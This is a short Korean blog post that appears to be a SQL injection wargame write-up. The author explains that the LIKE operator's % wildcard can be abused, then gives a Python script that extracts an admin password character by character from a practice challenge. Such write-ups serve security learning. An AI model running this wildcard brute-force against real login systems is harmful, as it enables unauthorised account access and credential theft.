Hubeen's Home

전체 글

문승현 (허빈) 2018. 9. 22. 22:28

2018. 9. 22. 22:28

like에는 % 정규식 비슷한게 있다.

https://www.w3schools.com/sql/sql_like.asp

이 문제는 조금 당황스러운 문제였다.

아무리해도 어드민이 뜨지 않는 것이다.

그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다.

import requests

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

strs = "8_"

for i in range(8):

for c in range(48,125):

rs = requests.get(url + "?pw=" + strs + chr(c) + "%" ,headers=headers, cookies=cookies)

text = rs.text

if("<br><h2>Hello admin</h2>" in text):

strs += chr(c)

print(str(i+1) + " " +chr(c) + " find it”)